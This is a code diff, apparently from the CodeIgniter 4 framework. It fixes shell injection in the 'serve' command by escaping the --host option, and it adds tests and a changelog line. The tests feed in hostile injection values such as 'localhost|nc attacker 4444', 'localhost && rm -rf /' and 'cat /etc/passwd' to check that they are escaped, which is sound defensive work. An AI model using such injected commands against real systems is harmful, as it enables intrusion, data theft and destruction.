fix: escape --host option in serve command

system/Commands/Server/Serve.php

@@ -17,11 +17,7 @@
 use CodeIgniter\CLI\CLI;
 
 /**
- * Launch the PHP development server
- *
- * Not testable, as it throws phpunit for a loop :-/
- *
- * @codeCoverageIgnore
+ * Launch the PHP development server.
  */
 class Serve extends BaseCommand
 {
@@ -86,34 +82,43 @@ class Serve extends BaseCommand
     ];
 
     /**
-     * Run the server
+     * Run the server.
+     *
+     * @codeCoverageIgnore
      */
     public function run(array $params)
     {
-        // Collect any user-supplied options and apply them.
-        $php  = escapeshellarg(CLI::getOption('php') ?? PHP_BINARY);
+        $php  = CLI::getOption('php') ?? PHP_BINARY;
         $host = CLI::getOption('host') ?? 'localhost';
         $port = (int) (CLI::getOption('port') ?? 8080) + $this->portOffset;
 
-        // Get the party started.
         CLI::write('CodeIgniter development server started on http://' . $host . ':' . $port, 'green');
         CLI::write('Press Control-C to stop.');
 
-        // Set the Front Controller path as Document Root.
-        $docroot = escapeshellarg(FCPATH);
-
-        // Mimic Apache's mod_rewrite functionality with user settings.
-        $rewrite = escapeshellarg(SYSTEMPATH . 'rewrite.php');
-
-        // Call PHP's built-in webserver, making sure to set our
-        // base path to the public folder, and to use the rewrite file
-        // to ensure our environment is set and it simulates basic mod_rewrite.
-        passthru($php . ' -S ' . $host . ':' . $port . ' -t ' . $docroot . ' ' . $rewrite, $status);
+        passthru(
+            $this->buildServeCommand($php, $host, $port, FCPATH, SYSTEMPATH . 'rewrite.php'),
+            $status,
+        );
 
         if ($status !== EXIT_SUCCESS && $this->portOffset < $this->tries) {
             $this->portOffset++;
 
             $this->run($params);
         }
     }
+
+    /**
+     * Builds the shell command passed to PHP's built-in webserver, escaping
+     * every user-influenced argument so it cannot be interpreted by /bin/sh.
+     */
+    protected function buildServeCommand(string $php, string $host, int $port, string $docroot, string $rewrite): string
+    {
+        return sprintf(
+            '%s -S %s -t %s %s',
+            escapeshellarg($php),
+            escapeshellarg($host . ':' . $port),
+            escapeshellarg($docroot),
+            escapeshellarg($rewrite),
+        );
+    }
 }

tests/system/Commands/Server/ServeTest.php

@@ -0,0 +1,138 @@
+<?php
+
+declare(strict_types=1);
+
+/**
+ * This file is part of CodeIgniter 4 framework.
+ *
+ * (c) CodeIgniter Foundation <admin@codeigniter.com>
+ *
+ * For the full copyright and license information, please view
+ * the LICENSE file that was distributed with this source code.
+ */
+
+namespace CodeIgniter\Commands\Server;
+
+use Closure;
+use CodeIgniter\Test\CIUnitTestCase;
+use PHPUnit\Framework\Attributes\DataProvider;
+use PHPUnit\Framework\Attributes\Group;
+use PHPUnit\Framework\Attributes\RequiresOperatingSystem;
+
+/**
+ * @internal
+ */
+#[Group('Others')]
+#[RequiresOperatingSystem('^(?!WIN)')]
+final class ServeTest extends CIUnitTestCase
+{
+    /**
+     * @return Closure(string, string, int, string, string): string
+     */
+    private function buildServeCommand(): Closure
+    {
+        /** @var Closure(string, string, int, string, string): string */
+        return self::getPrivateMethodInvoker(
+            new Serve(service('logger'), service('commands')),
+            'buildServeCommand',
+        );
+    }
+
+    public function testBuildsExpectedCommandWithDefaultArguments(): void
+    {
+        $build = $this->buildServeCommand();
+
+        $command = $build('/usr/bin/php', 'localhost', 8080, '/srv/public', '/srv/system/rewrite.php');
+
+        $this->assertSame(
+            "'/usr/bin/php' -S 'localhost:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+            $command,
+        );
+    }
+
+    #[DataProvider('provideEscapesMaliciousHosts')]
+    public function testEscapesMaliciousHosts(string $host, string $expected): void
+    {
+        $build = $this->buildServeCommand();
+
+        $command = $build('/usr/bin/php', $host, 8080, '/srv/public', '/srv/system/rewrite.php');
+
+        $this->assertSame($expected, $command);
+    }
+
+    /**
+     * @return iterable<string, array{string, string}>
+     */
+    public static function provideEscapesMaliciousHosts(): iterable
+    {
+        yield 'command substitution dollar' => [
+            '$(id)',
+            "'/usr/bin/php' -S '\$(id):8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'command substitution backtick' => [
+            '`whoami`',
+            "'/usr/bin/php' -S '`whoami`:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'shell separator semicolon' => [
+            'localhost;cat /etc/passwd',
+            "'/usr/bin/php' -S 'localhost;cat /etc/passwd:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'shell separator pipe' => [
+            'localhost|nc attacker 4444',
+            "'/usr/bin/php' -S 'localhost|nc attacker 4444:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'shell separator ampersand' => [
+            'localhost && rm -rf /',
+            "'/usr/bin/php' -S 'localhost && rm -rf /:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'redirection' => [
+            'localhost>/tmp/pwn',
+            "'/usr/bin/php' -S 'localhost>/tmp/pwn:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'embedded single quote' => [
+            "a'b",
+            "'/usr/bin/php' -S 'a'\\''b:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+
+        yield 'newline' => [
+            "localhost\nmalicious",
+            "'/usr/bin/php' -S 'localhost\nmalicious:8080' -t '/srv/public' '/srv/system/rewrite.php'",
+        ];
+    }
+
+    public function testEscapesPhpBinaryAndPaths(): void
+    {
+        $build = $this->buildServeCommand();
+
+        $command = $build(
+            '/path with spaces/php',
+            'localhost',
+            8080,
+            '/path with spaces/public',
+            '/path with spaces/system/rewrite.php',
+        );
+
+        $this->assertSame(
+            "'/path with spaces/php' -S 'localhost:8080' -t '/path with spaces/public' '/path with spaces/system/rewrite.php'",
+            $command,
+        );
+    }
+
+    public function testHonoursAdjustedPortValue(): void
+    {
+        $build = $this->buildServeCommand();
+
+        $command = $build('/usr/bin/php', 'localhost', 8082, '/srv/public', '/srv/system/rewrite.php');
+
+        $this->assertSame(
+            "'/usr/bin/php' -S 'localhost:8082' -t '/srv/public' '/srv/system/rewrite.php'",
+            $command,
+        );
+    }
+}

user_guide_src/source/changelogs/v4.7.3.rst

@@ -41,6 +41,7 @@ Bugs Fixed
 - **CLI:** Fixed a bug where ``CLI::generateDimensions()`` leaked ``tput`` error output (``tput: No value for $TERM and no -T specified``) to stderr when the ``stty`` fallback was reached and the ``TERM`` environment variable was not set.
 - **Commands:** Fixed a bug in the ``env`` command where passing options only would cause the command to throw a ``TypeError`` instead of showing the current environment.
 - **Commands:** Fixed a bug in ``key:generate`` command where the regex used to locate the ``encryption.key`` line was fooled by a comment containing the substring (silently writing nothing), and did not handle DotEnv's ``export encryption.key = ...`` syntax.
+- **Commands:** Fixed a bug in the ``serve`` command where the ``--host`` option was concatenated into the ``passthru()`` call without ``escapeshellarg()``, letting shell metacharacters in the locally-supplied argument be interpreted by ``/bin/sh``.
 - **Common:** Fixed a bug where the ``command()`` helper function did not properly clean up output buffers, which could lead to risky tests when exceptions were thrown.
 - **Database:** Fixed a bug where ``BaseConnection::listTables()`` could return a sparse array when using cached table names after a table was dropped.
 - **Database:** Fixed a bug where the PostgreSQL driver's ``increment()`` and ``decrement()`` methods were not working for numeric columns.